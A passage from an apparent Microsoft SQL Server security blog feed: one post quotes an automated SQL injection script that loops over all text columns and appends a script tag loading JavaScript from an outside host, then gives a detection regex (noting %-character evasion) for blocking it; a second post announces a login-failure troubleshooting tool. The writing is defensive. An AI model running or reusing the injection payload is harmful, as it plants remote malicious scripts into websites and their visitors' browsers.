&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;a&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;id&lt;span style="COLOR: gray"&gt;=&lt;/span&gt;b&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;id &lt;span style="COLOR: gray"&gt;and&lt;/span&gt; a&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;xtype&lt;span style="COLOR: gray"&gt;=&lt;/span&gt;&lt;span style="COLOR: red"&gt;'u'&lt;/span&gt; &lt;span style="COLOR: gray"&gt;and&lt;/span&gt;&lt;span style="COLOR: blue"&gt; &lt;/span&gt;&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;b&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;xtype&lt;span style="COLOR: gray"&gt;=&lt;/span&gt;99 &lt;span style="COLOR: gray"&gt;or&lt;/span&gt; b&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;xtype&lt;span style="COLOR: gray"&gt;=&lt;/span&gt;35 &lt;span style="COLOR: gray"&gt;or&lt;/span&gt; b&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;xtype&lt;span style="COLOR: gray"&gt;=&lt;/span&gt;231 &lt;span style="COLOR: gray"&gt;or&lt;/span&gt; b&lt;span style="COLOR: gray"&gt;.&lt;/span&gt;xtype&lt;span style="COLOR: gray"&gt;=&lt;/span&gt;167&lt;span style="COLOR: gray"&gt;)&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;OPEN&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; Table_Cursor &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;FETCH&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: blue"&gt;NEXT&lt;/span&gt; &lt;span style="COLOR: blue"&gt;FROM&lt;/span&gt; Table_Cursor &lt;span style="COLOR: blue"&gt;INTO&lt;/span&gt; @T&lt;span style="COLOR: gray"&gt;,&lt;/span&gt;@C &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;WHILE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;(&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: fuchsia; FONT-SIZE: 10pt"&gt;@@FETCH_STATUS&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;=&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;0&lt;span style="COLOR: gray"&gt;)&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;BEGIN&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;exec&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;(&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: red; FONT-SIZE: 10pt"&gt;'update ['&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;+&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;@T&lt;span style="COLOR: gray"&gt;+&lt;/span&gt;&lt;span style="COLOR: red"&gt;'] set ['&lt;/span&gt;&lt;span style="COLOR: gray"&gt;+&lt;/span&gt;@C&lt;span style="COLOR: gray"&gt;+&lt;/span&gt;&lt;span style="COLOR: red"&gt;']=rtrim(convert(varchar,['&lt;/span&gt;&lt;span style="COLOR: gray"&gt;+&lt;/span&gt;@C&lt;span style="COLOR: gray"&gt;+&lt;/span&gt;&lt;span style="COLOR: red"&gt;']))+''&amp;lt;script src=http://www.2117966.net/f***jp.js&amp;gt;&amp;lt;/script&amp;gt;'''&lt;/span&gt;&lt;span style="COLOR: gray"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;FETCH&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;span style="COLOR: blue"&gt;NEXT&lt;/span&gt; &lt;span style="COLOR: blue"&gt;FROM&lt;/span&gt; Table_Cursor &lt;span style="COLOR: blue"&gt;INTO&lt;/span&gt; @T&lt;span style="COLOR: gray"&gt;,&lt;/span&gt;@C &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;END&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;CLOSE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; Table_Cursor &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: blue; FONT-SIZE: 10pt"&gt;DEALLOCATE&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt; Table_Cursor&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;Without going into details of what this script is doing, if you observe carefully you will see that it also uses &lt;i style="mso-bidi-font-style: normal"&gt;declare&lt;/i&gt;, &lt;i style="mso-bidi-font-style: normal"&gt;@&amp;lt;somechars&amp;gt;&lt;/i&gt;, &lt;i style="mso-bidi-font-style: normal"&gt;varchar&lt;/i&gt;, and &lt;i style="mso-bidi-font-style: normal"&gt;exec&lt;/i&gt; in that specific order. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;So if we develop a regular expression that matches these keywords, we end up with the following:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; COLOR: #a31515; FONT-SIZE: 10pt"&gt;[dD][\%]*[eE][\%]*[cC][\%]*[lL][\%]*[aA][\%]*[rR][\%]*[eE][\s\S]*[@][a-zA-Z0-9_]+[\s\S]*[nN]*[\%]*[vV][\%]*[aA][\%]*[rR][\%]*[cC][\%]*[hH][\%]*[aA][\%]*[rR][\s\S]*[eE][\%]*[xX][\%]*[eE][\%]*[cC][\s\S]*&lt;/span&gt;&lt;span style="COLOR: black"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;I included both upper case and lower case letters and an optional % character after each character, as ASP seems to silently strip % characters that are not followed by two hex characters (0-9, A-F). Some automated attacks use these extra % characters to bypass blacklisted keywords. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;This regular expression should effectively catch most of the generic automated SQL injection attacks. But it won&amp;rsquo;t catch targeted attacks that inject the UNION operator or inference payloads to read the backend objects, and then execute a non-dynamic SQL statement. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;Now that we have a regular expression, we need to match incoming web requests against this regular expression. One of the earlier recommended tools from the IIS team is called URLScan. This tool helps server operators defend against attacks by scanning URLs for a keyword or a set of keywords, but it doesn&amp;rsquo;t have the ability to match a URL against a regular expression. The IIS team has shipped a new module for IIS 7, &lt;/span&gt;&lt;a href="http://www.iis.net/expand/URLRewrite"&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;&lt;span style="color: #0000ff;"&gt;URL Rewrite&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Times New Roman; font-size: small;"&gt;,&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt; that has more features, including regular expression matching. Nazim Lala has blogged about using URL Rewrite to block automated SQL injection attacks using this regular expression. You can check it out at &lt;/span&gt;&lt;a href="http://blogs.iis.net/nazim/archive/2010/03/23/blocking-sql-injection-using-iis-url-rewrite.aspx"&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;&lt;span style="color: #0000ff;"&gt;http://blogs.iis.net/nazim/archive/2010/03/23/blocking-sql-injection-using-iis-url-rewrite.aspx&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;You can also use this technique to block generic automated SQL injection attacks if you use a firewall product that lets you create blocking rules using regular expressions.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;-Bala Neerumalla&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="FONT-FAMILY: 'Arial','sans-serif'; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10003415" width="1" height="1"&gt;</description></item><item><title>SQL Server Authentication Troubleshooter</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/03/29/sql-server-authentication-troubleshooter.aspx</link><pubDate>Tue, 30 Mar 2010 04:33:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9987186</guid><dc:creator>Raul Garcia - MS</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=9987186</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/03/29/sql-server-authentication-troubleshooter.aspx#comments</comments><description>&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: SimSun; mso-fareast-theme-font: minor-fareast; mso-fareast-language: ZH-CN; mso-ansi-language: EN-US; mso-bidi-language: AR-SA"&gt;&amp;nbsp; I am posting this article on behalf of my teammate Lyudmila.&lt;/SPAN&gt;&amp;nbsp;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;A new tool to help investigate ‘Login Failed’ errors in SQL Server has been recently implemented and published on CodePlex: &lt;/SPAN&gt;&lt;A href="http://ssat.codeplex.com/"&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;http://ssat.codeplex.com/&lt;/SPAN&gt;&lt;/A&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;The tool is implemented in C# and uses xEvents to capture “Login Failed” errors. It also uses security ring buffer information (from &lt;/SPAN&gt;&lt;SPAN style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt; mso-no-proof: yes"&gt;sys&lt;/SPAN&gt;&lt;SPAN style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt; mso-no-proof: yes"&gt;.&lt;/SPAN&gt;&lt;SPAN style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt; mso-no-proof: yes"&gt;dm_os_ring_buffers&lt;/SPAN&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;) to retrieve error related information and do the analysis. &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;It is published under the &lt;/SPAN&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt"&gt;Microsoft Public License (more details here: &lt;/SPAN&gt;&lt;A href="http://ssat.codeplex.com/license"&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; FONT-SIZE: 9.5pt"&gt;&lt;FONT color=#0000ff&gt;http://ssat.codeplex.com/license&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/A&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt"&gt;).&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt"&gt;Currently it is implemented as a simple command line tool. There is still room for improving this tool to make it more useful in general, so any contribution or feedback you have is welcome!&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;You can download sources and binary, play with the tool, submit your changes (if you want to contribute to the tool) or just give your feedback and suggestions on discussion page ( &lt;A href="http://ssat.codeplex.com/Thread/List.aspx"&gt;&lt;FONT color=#0000ff&gt;http://ssat.codeplex.com/Thread/List.aspx&lt;/FONT&gt;&lt;/A&gt; ).&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;More details about the tool:&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;There could be number of reasons for ‘Login Failed’ error in SQL Server– from insufficient permissions and policy problem to a Win API failure. This tool will help an Administrator of the SQL Server to find out why some particular login is failing to get authenticated. All the knowledge used in the tool is actually available to the customers, but unfortunately because of lack of documentation and the logic complexity it often becomes difficult to find the exact cause. The goal of this tool is to help analyze all available information and give a suggestion about the cause of the failure.&lt;BR&gt;&lt;BR&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;Limitations:&lt;/B&gt; &lt;BR&gt;- The tool can work with SQL Server 2008 and later versions;&lt;BR&gt;- You have to be able to connect to SQL Server as an Administrator (Control Server permissions required).&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;- This tool only currently investigates issues on the SQL server side, and if there are issues in Windows (e.g. Kerberos authentication issues), it will not be able to pinpoint. &lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;Hopefully, we can improve that in future versions.&lt;BR&gt;&lt;BR&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;Usage:&lt;/B&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;There are two modes the tool can operate in: monitoring mode and analyzing mode. &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;In analyzing mode the tool will analyze a single login error and return suggestions about possible cause of the error (like: ‘&lt;I style="mso-bidi-font-style: normal"&gt;this login was denied connect to the endpoint&lt;/I&gt;’, for example or ‘&lt;I style="mso-bidi-font-style: normal"&gt;this database is offline’&lt;/I&gt; etc.).&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;In monitoring mode the tool will just collect the statistics about 'Login failed' errors (statistics will be grouped by error#, client name, application name etc.). &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;&lt;BR&gt;ATSDriver.exe connection_string [-M ]&lt;BR&gt;&lt;BR&gt;&lt;I style="mso-bidi-font-style: normal"&gt;connection_string &lt;/I&gt;Valid &lt;/SPAN&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt"&gt;SQL Server connection string of a user with Control Server permission in order for tool to capture &amp;nbsp;error information.&lt;/SPAN&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;I style="mso-bidi-font-style: normal"&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;-M&lt;/SPAN&gt;&lt;/I&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt; If started with this flag, the tool will work in monitoring mode, collecting statistics about 'Login failed' errors.&lt;BR&gt;&lt;BR&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;Example: &lt;BR&gt;&lt;/B&gt;ATSDriver.exe "server=SQLServer01;Trusted_Connection=true" -M&lt;BR&gt;&lt;BR&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;Instructions: &lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;Start the tool and wait for the prompt (error analyzer mode):&lt;BR style="mso-special-character: line-break"&gt;&lt;BR style="mso-special-character: line-break"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;I style="mso-bidi-font-style: normal"&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;Ready. Try to connect to SQL Server now.&lt;BR&gt;Press 'A' after you hit 'Login failed' error or 'C' for exit.&lt;BR&gt;&lt;/SPAN&gt;&lt;/I&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;&lt;BR&gt;or (monitoring mode):&lt;BR style="mso-special-character: line-break"&gt;&lt;BR style="mso-special-character: line-break"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt" class=MsoNormal&gt;&lt;I style="mso-bidi-font-style: normal"&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;Monitoring has been started.&lt;BR&gt;Press 'A' when you are ready to get the statistic or 'C' for exit.&lt;BR&gt;&lt;/SPAN&gt;&lt;/I&gt;&lt;SPAN style="FONT-FAMILY: 'Segoe UI','sans-serif'; COLOR: #30332d; FONT-SIZE: 9.5pt; mso-fareast-font-family: 'Times New Roman'"&gt;&lt;BR&gt;If in 'Error analyzer' mode, try your failing login attempt, then press 'A'. It will take several seconds for the tool to retrieve data and analyze it.&lt;BR&gt;If in 'Monitor' mode, continue your normal workflow; press 'A' when you are ready to get statistics on the 'Login failed' errors. It will take several seconds for the tool to retrieve data and calculate statistics.&lt;BR&gt;&lt;BR&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;Note: &lt;BR&gt;&lt;/B&gt;- In Error analyzer mode (without -M flag) the tool analyzes a single error. If multiple 'Login failed' errors &lt;BR&gt;occurred while the tool is in analyzer mode, the report could still be helpful, but it can’t guarantee correctness in this case due to the multiple login errors that are generated.&lt;BR&gt;- In Monitoring mode the tool gets the statistics on all the 'Login failed' errors occurred without further analysis.&lt;BR&gt;- A side effect of this tool (in this version) - the xEvents files will be left in SQL Server Data directory. It is up to the admin (or user of this tool) to delete these files.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P style="MARGIN: 0in 0in 10pt" class=MsoNormal&gt;&lt;o:p&gt;&lt;FONT size=3 face=Calibri&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9987186" width="1" height="1"&gt;</description></item></channel></rss>